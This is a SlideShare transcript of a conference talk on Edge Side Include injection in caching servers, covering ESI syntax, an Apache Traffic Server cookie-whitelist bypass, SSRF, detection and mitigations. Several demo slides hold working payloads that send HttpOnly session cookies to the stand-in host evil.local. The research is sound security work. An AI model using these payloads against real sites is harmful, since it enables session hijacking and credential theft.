Download as PDF, PPTX
![ESI — Brief Overview
❖ Adds fragmentation to caching
❖ App Server send fragment markers in HTTP responses
<esi:[action] attr="val" />
❖ ESI tags are parsed by the HTTP surrogate (load balancer, proxy)
❖ Most engines require specific App Server HTTP Headers](https://image.slidesharecdn.com/dionmarcil-edge-side-include-injection-abusing-caching-servers-into-ssrf-and-transparent-session-hij-180927060829/75/Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking-6-2048.jpg)
![ESI Features & Syntax — Variables
<esi:vars>$(VARIABLE_NAME)</esi:vars>
$(HTTP_USER_AGENT) → Mozilla/5.0 (X11;[…]
$(QUERY_STRING) → city=Montreal&format=C
$(HTTP_COOKIE) → _ga=[…]&__utma=[…]](https://image.slidesharecdn.com/dionmarcil-edge-side-include-injection-abusing-caching-servers-into-ssrf-and-transparent-session-hij-180927060829/75/Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking-18-2048.jpg)
![ESI — Injection
<p>
City: <?= $_GET['city'] ?>
</p>](https://image.slidesharecdn.com/dionmarcil-edge-side-include-injection-abusing-caching-servers-into-ssrf-and-transparent-session-hij-180927060829/75/Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking-21-2048.jpg)
![ESI — Injection
<p>
City: <?= $_GET['city'] ?>
</p>
<p>
City: <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars>
</p>](https://image.slidesharecdn.com/dionmarcil-edge-side-include-injection-abusing-caching-servers-into-ssrf-and-transparent-session-hij-180927060829/75/Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking-22-2048.jpg)
![ESI — Injection
<p>
City: <?= $_GET['city'] ?>
</p>
<p>
City: <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars>
</p>](https://image.slidesharecdn.com/dionmarcil-edge-side-include-injection-abusing-caching-servers-into-ssrf-and-transparent-session-hij-180927060829/75/Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking-23-2048.jpg)
![ESI Implementations — Apache Traffic Server
❖ Offers Cookie whitelisting
❖ Critical cookies not accessible by ESI... or are they?
<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> ❌
<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars> ✅
→ "_ga=[…]&PHPSESSID=b9gcvscc[…]"](https://image.slidesharecdn.com/dionmarcil-edge-side-include-injection-abusing-caching-servers-into-ssrf-and-transparent-session-hij-180927060829/75/Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking-27-2048.jpg)
Uploaded byPriyanka Aash
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparent Session Hijacking
The document discusses a new class of attacks exploiting Edge Side Includes (ESI) in caching servers, revealing vulnerabilities that can lead to Remote Code Execution (RCE) and session hijacking. It showcases examples of how these attacks can be executed through ESI tags and offers proof of concepts demonstrating the potential for leaking sensitive information, such as HTTP cookies. Mitigation strategies, including the use of mod_security and proactive escaping techniques, are also presented to address these security concerns.
More Related Content
Similar to Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparent Session Hijacking
![[DevFest Strasbourg 2025] - NodeJs Can do that !!](https://cdn.slidesharecdn.com/ss_thumbnails/devfeststrasbourg2025-nodejscandothat-251127142731-da65b6fd-thumbnail.jpg?width=640&height=640&fit=bounds)
![[BDD 2025 - Full-Stack Development] Agentic AI Architecture: Redefining Syste...](https://cdn.slidesharecdn.com/ss_thumbnails/fs-agenticaiarchitectureredefiningsystemcommunication-251124030838-e6c70cc2-thumbnail.jpg?width=640&height=640&fit=bounds)
![[BDD 2025 - Artificial Intelligence] Building AI Systems That Users (and Comp...](https://cdn.slidesharecdn.com/ss_thumbnails/ai-buildingaisystemsthatusersandcompanieslove-251124030845-038f7732-thumbnail.jpg?width=640&height=640&fit=bounds)
![[BDD 2025 - Mobile Development] Crafting Immersive UI with E2E and AGSL Shade...](https://cdn.slidesharecdn.com/ss_thumbnails/md-craftingimmersiveuiwithe2eandagslshaderveronicaputrianggraini-251124030840-0c677f44-thumbnail.jpg?width=640&height=640&fit=bounds)
![[BDD 2025 - Full-Stack Development] PHP in AI Age: The Laravel Way. (Rizqy Hi...](https://cdn.slidesharecdn.com/ss_thumbnails/fs-phpinaiagethelaravelway-251125012602-ef9d330e-thumbnail.jpg?width=640&height=640&fit=bounds)
Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparent Session Hijacking
- 1. Edge Side IncludeInjection Abusing Caching Servers into SSRF and Transparent Session Hijacking Louis Dion-Marcil @ldionmarcil GoSecure
- 2. Edge Side Includes(ESI) — Context ❖ New class of attack on some caching servers ❖ Discovered by reading documentation
- 3. ESI — BriefOverview
- 4. ESI — BriefOverview The Weather Website Forecast for Monday Tuesday Wednesday Montréal 27°C 23°C 31°C
- 5. ESI — BriefOverview The Weather Website Forecast for Monday Tuesday Wednesday Montréal 27°C 23°C 31°C Variable Fragments Static Fragment
- 6. ESI — BriefOverview ❖ Adds fragmentation to caching ❖ App Server send fragment markers in HTTP responses <esi:[action] attr="val" /> ❖ ESI tags are parsed by the HTTP surrogate (load balancer, proxy) ❖ Most engines require specific App Server HTTP Headers
- 7. ESI Features &Syntax — Include //esi/page-1.html: <html> <p>This is page 1!</p> <esi:include src="//api/page-2.html" /> </html> //api/page-2.html: <p>This is page 2!</p>
- 8. ESI Features &Syntax — Include $ curl -s http://esi/page-1.html <html> <p>This is page 1!</p> <p>This is page 2!</p> </html>
- 9. ESI — IncludeNetwork Flow (Cache MISS)
- 10. ESI — IncludeNetwork Flow (Cache MISS) ①/1.html
- 11. ESI — IncludeNetwork Flow (Cache MISS) ①/1.html ②/1.html
- 12. ESI — IncludeNetwork Flow (Cache MISS) ①/1.html 1.html + ESI ②/1.html ③
- 13. ESI — IncludeNetwork Flow (Cache MISS) ①/1.html 1.html + ESI ②/1.html ③ ESI tags processed
- 14. ESI — IncludeNetwork Flow (Cache MISS) ①/1.html 1.html + ESI ②/1.html ③ ④/api/2.html ESI tags processed
- 15. ESI — IncludeNetwork Flow (Cache MISS) ①/1.html 1.html + ESI ②/1.html ③ ④/api/2.html 2.html⑤ ESI tags processed
- 16. ESI — IncludeNetwork Flow (Cache MISS) ①/1.html 1.html + ESI ②/1.html ③ ④/api/2.html 2.html⑤ ⑥ + ESI tags processed
- 17. ESI Features &Syntax — Variables <esi:vars>$(VARIABLE_NAME)</esi:vars>
- 18. ESI Features &Syntax — Variables <esi:vars>$(VARIABLE_NAME)</esi:vars> $(HTTP_USER_AGENT) → Mozilla/5.0 (X11;[…] $(QUERY_STRING) → city=Montreal&format=C $(HTTP_COOKIE) → _ga=[…]&__utma=[…]
- 19. ESI — Vulnerabilities ESItags are sent by the application server… … Parsed by the HTTP Surrogate. How can the ESI Engine tell which tags are legitimate?
- 20. ESI — Vulnerabilities ESItags are sent by the application server… … Parsed by the HTTP Surrogate. How can the ESI Engine tell which tags are legitimate? It can’t, and that’s a pretty big design flaw.
- 21. ESI — Injection <p> City:<?= $_GET['city'] ?> </p>
- 22. ESI — Injection <p> City:<?= $_GET['city'] ?> </p> <p> City: <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> </p>
- 23. ESI — Injection <p> City:<?= $_GET['city'] ?> </p> <p> City: <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> </p>
- 24. ESI Implementations —Apache Traffic Server ❖ Donated by Yahoo! to Apache ❖ ESI stack implemented, with bonus features ❖ Used by Yahoo, Apple
- 25. ESI Implementations —Apache Traffic Server ❖ Offers Cookie whitelisting ❖ Critical cookies not accessible by ESI... <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> ❌
- 26. ESI Implementations —Apache Traffic Server ❖ Offers Cookie whitelisting ❖ Critical cookies not accessible by ESI... or are they? <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> ❌ <esi:vars>$(HTTP_HEADER{Cookie})</esi:vars> ✅
- 27. ESI Implementations —Apache Traffic Server ❖ Offers Cookie whitelisting ❖ Critical cookies not accessible by ESI... or are they? <esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars> ❌ <esi:vars>$(HTTP_HEADER{Cookie})</esi:vars> ✅ → "_ga=[…]&PHPSESSID=b9gcvscc[…]"
- 28. DEMO 1 —Proof of concept <img src=" //evil.local/username=attacker;session_cookie=s%3ANp... "> <img src=" //evil.local/<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars> ">
- 29. DEMO 1 —Proof of concept <img src=" //evil.local/username=attacker;session_cookie=s%3ANp... "> <img src=" //evil.local/<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars> ">
- 30. DEMO 1 —Proof of concept <img src=" //evil.local/username=attacker;session_cookie=s%3ANp... ">
- 31. DEMO 1 —Proof of concept http://evil.local/username=attacker;session_cookie=s%3A... Internet
- 32. DEMO 1 Now weknow... ❖ … we can inject ESI tags, ❖ … we can leak HTTPOnly cookies, ❖ … we don’t need JavaScript. Let’s crank the impact up a notch.
- 33. ESI Implementations —Oracle Web Cache ❖ Part of the 11g suite ❖ Usually serves WebLogic Application Servers ❖ Initial ESI specification implemented, plus features
- 34. DEMO 2 —Proof of concept <esi:inline name="/js/jquery.js" /> var x = new XMLHttpRequest(); x.open("GET", "//evil.local/? <esi:vars>$(HTTP_COOKIE{session_cookie})</esi:vars>"); x.send(); </esi:inline>
- 35. DEMO 2 —Proof of concept <esi:inline name="/js/jquery.js" /> var x = new XMLHttpRequest(); x.open("GET", "//evil.local/? <esi:vars>$(HTTP_COOKIE{session_cookie})</esi:vars>"); x.send(); </esi:inline>
- 36. DEMO 2 —Proof of concept <esi:inline name="/js/jquery.js" /> var x = new XMLHttpRequest(); x.open("GET", "//evil.local/?lHKlM77VbP79hDnMX2Gg..."); x.send(); </esi:inline>
- 37. DEMO 2 —Proof of concept http://evil.local/?lHKlM77VbP79hDnMX2Gg... Internet
- 38. DEMO 2 Now weknow... ❖ … we can overwrite arbitrary cache entries, ❖ … we can leak HTTPOnly cookies, ❖ … JavaScript helps, but not required.
- 39. ESI — Mitigations ❖mod_security with the OWASP Core Rule Set
- 40. ESI — Mitigations ❖mod_security with the OWASP Core Rule Set ❖ Proactive escaping { "first_name": "Louis", "last_name": "<esi:include src="/page-2.html" />" }
- 41. ESI — Mitigations ❖mod_security with the OWASP Core Rule Set ❖ Proactive escaping { "first_name": "Louis", "last_name": "<esi:include src="/page-2.html" />" } Invalid ESI tag!
- 42. ESI — Mitigations ❖mod_security with the OWASP Core Rule Set ❖ Proactive escaping { "first_name": "Louis", "last_name": "<esi:include src="/page-2.html" />" } "last_name": "<esi:include src=/page-2.html />" ❖ This is valid with Apache Traffic Server Invalid ESI tag!
- 43. SSRF with ApacheTraffic Server
- 44. SSRF with ApacheTraffic Server
- 45. SSRF with ApacheTraffic Server
- 46. ESI — SSRFFlow ①/api/me /api/me + ESI ②/api/me ③ /server-status server-status⑤ ⑥ + ESI tags processed ④
- 47. ESI — ManualDetection (by Alex Birsan @alxbrsn) FOO<!--esi -->BAR → FOOBAR ✅ FOO<!--foo -->BAR → FOO<!--foo -->BAR ❌
- 48. ESI — ManualDetection (by Alex Birsan @alxbrsn) FOO<!--esi -->BAR → FOOBAR ✅ FOO<!--foo -->BAR → FOO<!--foo -->BAR ❌ ESI — Automatic Detection ❖ Burp ActiveScan++ ❖ Burp Upload Scanner ❖ Acunetix
- 49. ESI — Migration(by Lukas Rieder @overbryd) ❖ Cloudflare Workers https://gist.github.com/Overbryd/c070bb1fa769609d404f648c d506340f
- 50. Questions? Detailed blogpost ofour prior research: https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/ Louis Dion-Marcil @ldionmarcil GoSecure